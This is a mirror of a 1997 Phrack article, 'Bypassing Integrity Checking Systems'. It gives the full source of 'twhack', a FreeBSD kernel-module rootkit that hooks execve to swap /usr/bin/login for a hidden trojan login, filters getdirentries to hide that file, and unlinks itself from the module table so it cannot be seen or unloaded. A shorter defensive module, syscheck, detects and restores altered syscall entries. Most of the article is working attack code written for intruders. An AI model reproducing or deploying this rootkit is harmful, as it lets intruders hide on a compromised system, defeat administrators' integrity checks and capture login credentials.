mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
329 lines
10 KiB
Text
329 lines
10 KiB
Text
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 09 of 17
|
|
|
|
|
|
-------------------------[ Bypassing Integrity Checking Systems
|
|
|
|
|
|
--------[ halflife <halflife@infonexus.com>
|
|
|
|
|
|
In this day and age where intrusions happen on a daily basis and there is a
|
|
version of "rootkit" for every operating system imaginable, even mostly
|
|
incompetent system administration staff have begun doing checksums on their
|
|
binaries. For the hacker community, this is a major problem since their very
|
|
clever trojan programs are quickly detected and removed. Tripwire is a very
|
|
popular and free utility to do integrity checking on UNIX systems. This
|
|
article explores a simple method for bypassing checks done by tripwire and
|
|
other integrity checking programs.
|
|
|
|
First off, how do integrity-checking programs work? Well, when you first
|
|
install them, they calculate a hash (sometimes multiple hashes) of all the
|
|
binary files you wish to monitor. Then, periodically, you run the checker
|
|
and it compares the current hash with the previously recorded hash. If the
|
|
two differ, than something funny is going on, and it is noted. Several
|
|
different algorithms exist for doing the hashes, the most popular probably
|
|
being the MD5 hash.
|
|
|
|
In the past, there have been problems with several hashes. MD5 has had some
|
|
collisions, as have many other secure hash algorithms. However, exploiting the
|
|
collisions is still very very difficult. The code in this article does not
|
|
rely on the use of a specific algorithm, rather we focus on a problem of trust
|
|
-- integrity checking programs need to trust the operating system, and some
|
|
may even trust libc. In code that is designed to detect compromises that
|
|
would by their very nature require root access, you can not trust anything,
|
|
including your own operating system.
|
|
|
|
The design of twhack had several requirements. The first is that it need not
|
|
require a kernel rebuild; loadable kernel modules (lkm) provided a solution
|
|
to this. The second is that it need be relatively stealthy. I managed to find
|
|
a simple way to hide the lkm in the FreeBSD kernel (probably works in OpenBSD
|
|
and NetBSD although I have not verified this). Once you load the module, the
|
|
first ls type command will effectively hide the module from view. Once hidden
|
|
it can not be unloaded or seen with the modunload(8) command.
|
|
|
|
First, a little information on FreeBSD loadable modules. I am using the MISC
|
|
style of modules, which is basically similar to linux modules. It gives you
|
|
pretty much full access to everything. LKM info is stored in an array of
|
|
structures. In FreeBSD 2.2.1 the array has room for 20 modules.
|
|
|
|
Hiding the modules is really quite simple. There is a used variable that
|
|
determines if the module slot is free or not. When you insert a module, the
|
|
device driver looks for the first free module entry -- free being defined as
|
|
an entry with 0 in the used slot and places some info in the structure. The
|
|
info is mainly used for unloading, and we are not interested in that, so it is
|
|
okay if other modules overwrite our structure (some might call that a feature,
|
|
even).
|
|
|
|
Next we have to redirect the system calls we are interested in. This is
|
|
somewhat similar to Linux modules as well. System calls are stored in an
|
|
array of structures. The structure contains a pointer to the system call and
|
|
a variable specifying the number of arguments. Obviously, all we are
|
|
interested in is the pointer. First we bcopy the structure to a variable,
|
|
then we modify the function pointer to point to our code. In our code we can
|
|
do stuff like old_function.sy_call(arguments) to call the original system call
|
|
-- quick and painless.
|
|
|
|
Now that we know HOW to redirect system calls, which ones do we redirect in
|
|
order to bypass integrity checkers? Well, there are a number of possibilities.
|
|
You could redirect open(), stat(), and a bunch of others so that reads of your
|
|
modified program redirect to copies of the unmodified version. I, however,
|
|
chose the opposite approach. Execution attempts of login redirect to another
|
|
program, opens still go to the real login program. Since we don't want our
|
|
alternative login program being detected, I also modified getdirentries so
|
|
that our program is never in the buffer it returns. Similar things probably
|
|
should have been done with syscall 156 which is old getdirentries, but I don't
|
|
think it is defined and I don't know of anything using it, so it probably does
|
|
not really matter.
|
|
|
|
Despite the attempts at keeping hidden, there are a few ways to detect this
|
|
code. One of the ways of detecting (and stopping) the code is provided.
|
|
It is a simple stealthy module that logs when syscall addresses change, and
|
|
reverses the changes. This will stop the twhack module as provided, but is
|
|
FAR from perfect.
|
|
|
|
What the checking code does is bcopy() the entire sysent array into a local
|
|
copy. Then it registers an at_fork() handler and in the handler it checks
|
|
the current system call table against the one in memory, if they differ it
|
|
logs the differences and changes the entry back.
|
|
|
|
<++> twhack/Makefile
|
|
CC=gcc
|
|
LD=ld
|
|
RM=rm
|
|
CFLAGS=-O -DKERNEL -DACTUALLY_LKM_NOT_KERNEL $(RST)
|
|
LDFLAGS=-r
|
|
RST=-DRESTORE_SYSCALLS
|
|
|
|
all: twhack syscheck
|
|
|
|
twhack:
|
|
$(CC) $(CFLAGS) -c twhack.c
|
|
$(LD) $(LDFLAGS) -o twhack_mod.o twhack.o
|
|
@$(RM) twhack.o
|
|
|
|
syscheck:
|
|
$(CC) $(CFLAGS) -c syscheck.c
|
|
$(LD) $(LDFLAGS) -o syscheck_mod.o syscheck.o
|
|
@$(RM) syscheck.o
|
|
clean:
|
|
$(RM) -f *.o
|
|
<-->
|
|
<++> twhack/twhack.c
|
|
/*
|
|
** This code is a simple example of bypassing Integrity checking
|
|
** systems in FreeBSD 2.2. It has been tested in 2.2.1, and
|
|
** believed to work (although not tested) in 3.0.
|
|
**
|
|
** Halflife <halflife@infonexus.com>
|
|
*/
|
|
|
|
/* change these */
|
|
#define ALT_LOGIN_PATH "/tmp/foobar"
|
|
#define ALT_LOGIN_BASE "foobar"
|
|
|
|
/* includes */
|
|
#include <sys/param.h>
|
|
#include <sys/ioctl.h>
|
|
#include <sys/proc.h>
|
|
#include <sys/systm.h>
|
|
#include <sys/sysproto.h>
|
|
#include <sys/conf.h>
|
|
#include <sys/mount.h>
|
|
#include <sys/exec.h>
|
|
#include <sys/sysent.h>
|
|
#include <sys/lkm.h>
|
|
#include <a.out.h>
|
|
#include <sys/file.h>
|
|
#include <sys/errno.h>
|
|
#include <sys/syscall.h>
|
|
#include <sys/dirent.h>
|
|
|
|
/* storage for original execve and getdirentries syscall entries */
|
|
static struct sysent old_execve;
|
|
static struct sysent old_getdirentries;
|
|
|
|
/* prototypes for new execve and getdirentries functions */
|
|
int new_execve __P((struct proc *p, void *uap, int retval[]));
|
|
int new_getdirentries __P((struct proc *p, void *uap, int retval[]));
|
|
|
|
/* flag used for the stealth stuff */
|
|
static int hid=0;
|
|
|
|
/* table we need for the stealth stuff */
|
|
static struct lkm_table *table;
|
|
|
|
/* misc lkm */
|
|
MOD_MISC(twhack);
|
|
|
|
/*
|
|
** this code is called when we load or unload the module. unload is
|
|
** only possible if we initialize hid to 1
|
|
*/
|
|
static int
|
|
twhack_load(struct lkm_table *l, int cmd)
|
|
{
|
|
int err = 0;
|
|
switch(cmd)
|
|
{
|
|
/*
|
|
** save execve and getdirentries system call entries
|
|
** and point function pointers to our code
|
|
*/
|
|
case LKM_E_LOAD:
|
|
if(lkmexists(l))
|
|
return(EEXIST);
|
|
bcopy(&sysent[SYS_execve], &old_execve, sizeof(struct sysent));
|
|
sysent[SYS_execve].sy_call = new_execve;
|
|
bcopy(&sysent[SYS_getdirentries], &old_getdirentries, sizeof(struct sysent));
|
|
sysent[SYS_getdirentries].sy_call = new_getdirentries;
|
|
table = l;
|
|
break;
|
|
/* restore syscall entries to their original condition */
|
|
case LKM_E_UNLOAD:
|
|
bcopy(&old_execve, &sysent[SYS_execve], sizeof(struct sysent));
|
|
bcopy(&old_getdirentries, &sysent[SYS_getdirentries], sizeof(struct sysent));
|
|
break;
|
|
default:
|
|
err = EINVAL;
|
|
break;
|
|
}
|
|
return(err);
|
|
}
|
|
|
|
/* entry point to the module */
|
|
int
|
|
twhack_mod(struct lkm_table *l, int cmd, int ver)
|
|
{
|
|
DISPATCH(l, cmd, ver, twhack_load, twhack_load, lkm_nullcmd);
|
|
}
|
|
|
|
/*
|
|
** execve is simple, if they attempt to execute /usr/bin/login
|
|
** we change fname to ALT_LOGIN_PATH and then call the old execve
|
|
** system call.
|
|
*/
|
|
int
|
|
new_execve(struct proc *p, void *uap, int *retval)
|
|
{
|
|
struct execve_args *u=uap;
|
|
|
|
if(!strcmp(u->fname, "/usr/bin/login"))
|
|
strcpy(u->fname, ALT_LOGIN_PATH);
|
|
return old_execve.sy_call(p, uap, retval);
|
|
}
|
|
|
|
/*
|
|
** in getdirentries() we call the original syscall first
|
|
** then nuke any occurance of ALT_LOGIN_BASE. ALT_LOGIN_PATH
|
|
** and ALT_LOGIN_BASE should _always_ be modified and made
|
|
** very obscure, perhaps with upper ascii characters.
|
|
*/
|
|
int
|
|
new_getdirentries(struct proc *p, void *uap, int *retval)
|
|
{
|
|
struct getdirentries_args *u=uap;
|
|
struct dirent *dep;
|
|
int nbytes;
|
|
int r,i;
|
|
|
|
/* if hid is not set, set the used flag to 0 */
|
|
if(!hid)
|
|
{
|
|
table->used = 0;
|
|
hid++;
|
|
}
|
|
r = old_getdirentries.sy_call(p, uap, retval);
|
|
nbytes = *retval;
|
|
while(nbytes > 0)
|
|
{
|
|
dep = (struct dirent *)u->buf;
|
|
if(!strcmp(dep->d_name, ALT_LOGIN_BASE))
|
|
{
|
|
i = nbytes - dep->d_reclen;
|
|
bcopy(u->buf+dep->d_reclen, u->buf, nbytes-dep->d_reclen);
|
|
*retval = i;
|
|
return r;
|
|
}
|
|
nbytes -= dep->d_reclen;
|
|
u->buf += dep->d_reclen;
|
|
}
|
|
return r;
|
|
}
|
|
<-->
|
|
<++> twhack/syscheck.c
|
|
#include <sys/param.h>
|
|
#include <sys/ioctl.h>
|
|
#include <sys/proc.h>
|
|
#include <sys/systm.h>
|
|
#include <sys/sysproto.h>
|
|
#include <sys/conf.h>
|
|
#include <sys/mount.h>
|
|
#include <sys/exec.h>
|
|
#include <sys/sysent.h>
|
|
#include <sys/lkm.h>
|
|
#include <a.out.h>
|
|
#include <sys/file.h>
|
|
#include <sys/errno.h>
|
|
#include <sys/syscall.h>
|
|
#include <sys/dirent.h>
|
|
|
|
static int hid=0;
|
|
static struct sysent table[SYS_MAXSYSCALL];
|
|
static struct lkm_table *boo;
|
|
MOD_MISC(syscheck);
|
|
void check_sysent(struct proc *, struct proc *, int);
|
|
|
|
static int
|
|
syscheck_load(struct lkm_table *l, int cmd)
|
|
{
|
|
int err = 0;
|
|
switch(cmd)
|
|
{
|
|
case LKM_E_LOAD:
|
|
if(lkmexists(l))
|
|
return(EEXIST);
|
|
bcopy(sysent, table, sizeof(struct sysent)*SYS_MAXSYSCALL);
|
|
boo=l;
|
|
at_fork(check_sysent);
|
|
break;
|
|
case LKM_E_UNLOAD:
|
|
rm_at_fork(check_sysent);
|
|
break;
|
|
default:
|
|
err = EINVAL;
|
|
break;
|
|
}
|
|
return(err);
|
|
}
|
|
|
|
int
|
|
syscheck_mod(struct lkm_table *l, int cmd, int ver)
|
|
{
|
|
DISPATCH(l, cmd, ver, syscheck_load, syscheck_load, lkm_nullcmd);
|
|
}
|
|
|
|
void
|
|
check_sysent(struct proc *parent, struct proc *child, int flags)
|
|
{
|
|
int i;
|
|
if(!hid)
|
|
{
|
|
boo->used = 0;
|
|
hid++;
|
|
}
|
|
for(i=0;i < SYS_MAXSYSCALL;i++)
|
|
{
|
|
if(sysent[i].sy_call != table[i].sy_call)
|
|
{
|
|
printf("system call %d has been modified (old: %p new: %p)\n", i, table[i].sy_call, sysent[i].sy_call);
|
|
#ifdef RESTORE_SYSCALLS
|
|
sysent[i].sy_call = table[i].sy_call;
|
|
#endif
|
|
}
|
|
}
|
|
}
|
|
<-->
|
|
|
|
|
|
----[ EOF
|
|
|